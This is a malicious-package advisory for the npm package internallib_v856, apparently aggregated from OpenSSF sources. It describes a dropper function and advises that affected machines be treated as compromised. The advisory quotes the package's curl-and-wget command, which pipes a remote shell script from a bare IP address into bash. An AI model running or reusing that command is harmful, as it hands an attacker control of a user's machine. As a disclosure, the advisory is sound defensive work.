internallib_v856
Affected
- introduced
0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-9jj2-f2qc-pm2j
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in internallib_v856 (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (d94a6872645a3d5b938f9bc48871dbdff18068bd32d04169c3e421cd6830934a)
The package's main entry (index.js) exports a single function command() that invokes /bin/bash -c "curl -s http://10.0.0.145:8080/shell.sh | bash || wget -qO- http://10.0.0.145:8080/shell.sh | bash", fetching an unauthenticated shell script over plain HTTP from a hardcoded bare-IP endpoint and piping it directly into bash. Any consumer that requires this package and calls the advertised API will execute attacker-controlled code on their machine. The package metadata is a generic placeholder (name: internallib_v856, description Internal lib for testing, no author, no repository), and the package's only advertised function is the dropper itself — there is no legitimate functionality. Network destination http://10.0.0.145:8080/shell.sh is mutable, attacker-controlled, and unverifiable.
Source: ghsa-malware (1b8dd215850185ef70639efc0930e78cddb58557458ed406dcb11761644450f6)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Not rated by the source.
0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0